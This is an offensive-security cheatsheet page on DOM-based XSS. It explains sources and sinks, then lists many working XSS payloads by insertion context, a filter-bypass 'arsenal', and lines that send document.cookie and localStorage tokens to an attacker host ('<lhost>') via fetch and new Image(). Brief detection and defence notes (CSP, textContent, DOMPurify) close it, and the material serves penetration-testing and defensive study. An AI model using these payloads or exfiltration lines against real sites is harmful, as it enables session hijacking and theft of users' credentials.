DOM-based XSS
Full command arsenal in the cheatsheetDOM-based XSS is the variant of XSS that happens entirely in the browser, without the server taking part. The page's JavaScript takes data from a controllable source (location.search, location.hash, document.referrer, window.name) and writes it into a dangerous sink (innerHTML, document.write, eval, jQuery $()) without sanitising it. The injection does not travel in the server's HTML response: it is born in the client code, which is why a server WAF never sees it. The concrete payload depends on the insertion context, and most of the work is finding the one that escapes the filter.
Source and sink
The key is identifying the source → sink pair. Typical sources: location.search/.hash/.href, document.referrer, window.name, postMessage. Dangerous sinks: innerHTML, outerHTML, document.write, eval, setTimeout/setInterval with a string, location=, jQuery $()/.html(). The payload changes with the sink because the context differs:
// document.write sink with location.search source -> break the attribute
#"><img src=x onerror=alert(1)>
// innerHTML sink -> <script> tags don't run; use a handler
<img src=0 onerror=alert(document.cookie)>
// jQuery selector sink with a hashchange event
<iframe src="https://<domain>/#" onload="this.src+='<img src=0 onerror=print()>'"></iframe>Payloads by insertion context
First see where the reflected data lands and break that exact context (this applies equally to server-reflected XSS):
<!-- 1) HTML body: inject a tag directly -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- 2) Inside an attribute (value="..."): close the quote and the tag -->
"><svg onload=alert(1)>
' autofocus onfocus=alert(1) x='
<!-- 3) Inside <script>...var a='HERE'...</script>: close the string and statement -->
';alert(1);//
</script><script>alert(1)</script>
<!-- 4) In an href/src (URL context): javascript: scheme -->
javascript:alert(document.cookie)
<!-- 5) Inside an existing handler (onmouseover="...HERE..."): -->
;alert(1);//Filter bypass arsenal
When words or characters are filtered, combine tricks until one gets through:
<!-- without the word "script": use other tags with an event -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- if parentheses are filtered: use backticks or throw/onerror -->
<img src=x onerror="alert`1`">
<script>onerror=alert;throw 1</script>
<!-- if quotes are filtered: no quotes -->
<img src=x onerror=alert(document.cookie)>
<!-- mixed case and odd whitespace to dodge word filters -->
<ScRiPt>alert(1)</ScRiPt>
<img/src=x/onerror=alert(1)>
<!-- HTML entities / encoding (the browser decodes them in the right context) -->
<a href="javascript:alert(1)">x</a>
<a href="javascript:alert(1)">x</a>
<!-- break a non-recursive filter that strips "<script>" once -->
<scr<script>ipt>alert(1)</scr</script>ipt>Exfiltration
The real goal is usually to steal the session or pivot. Once JS runs:
// exfiltrate the cookie to your own server
new Image().src='http://<lhost>/?c='+encodeURIComponent(document.cookie)
fetch('http://<lhost>/?c='+btoa(document.cookie))
// if HttpOnly blocks the cookie: steal DOM/localStorage tokens or perform authenticated actions
fetch('http://<lhost>/?t='+localStorage.getItem('token'))There are two common hybrids: DOM Reflected (the source is a parameter reflected by JS in the same load) and DOM Stored (the malicious data was saved on the server, but the client JavaScript prints it into an unsafe sink). In both the flaw is in the client, not in the server render.
Requirements. There must be a flow where an attacker-controllable source reaches a sink that interprets HTML/JS without escaping. If the JavaScript uses safe APIs (textContent, setAttribute) or escapes the input, there is no DOM XSS even if the data is injectable.
How to detect it. Server-side there is almost no trace: the malicious payload usually goes in the fragment (#...), which the browser does not send to the server, so it never hits the access log. When the payload does travel in the query string (reflected DOM), the WAF may see onerror=, <svg, javascript: or the exfiltration callback to an external domain. Reliable detection is client-side: review the data flow into the sinks (tools like DOM Invader), and a strict CSP (script-src without unsafe-inline/unsafe-eval) that logs the violation when it blocks the script and the exfil connection.
Defence. Write data with APIs that don't interpret markup (textContent, setAttribute), avoid innerHTML/document.write/eval with data from controllable sources, sanitise with a library like DOMPurify if you must insert HTML, and apply a CSP without unsafe-inline. It shares its goal (run JS in the victim) with stored XSS and CSTI.